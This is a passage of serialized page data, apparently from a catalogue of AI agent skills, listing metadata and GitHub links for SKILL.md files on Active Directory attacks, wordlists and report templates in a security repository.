checklist","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FThreatswarm\u002Fblob\u002Fmain\u002Fthreatswarm-plugin\u002Fskills\u002Fad-attacks\u002FSKILL.md",[],[95,96,97,98,99],"ad attacks","kerberos","bloodhound","ACL","directory",{"skillNo":101,"name":56,"nameZh":6,"description":57,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":102,"categories":103,"keywords":104,"publishedAt":23},"01M6AECMZ0NKV20DN98DZ6ZC89","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FThreatswarm\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fwordlists\u002FSKILL.md",[],[56],{"skillNo":106,"name":63,"nameZh":6,"description":64,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":107,"categories":108,"keywords":109,"publishedAt":23},"01M6AECJ70MCZ4BD72TG0YK3CJ","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FThreatswarm\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Freport-templates\u002FSKILL.md",[],[70,69,68,74,73,72,21,71]]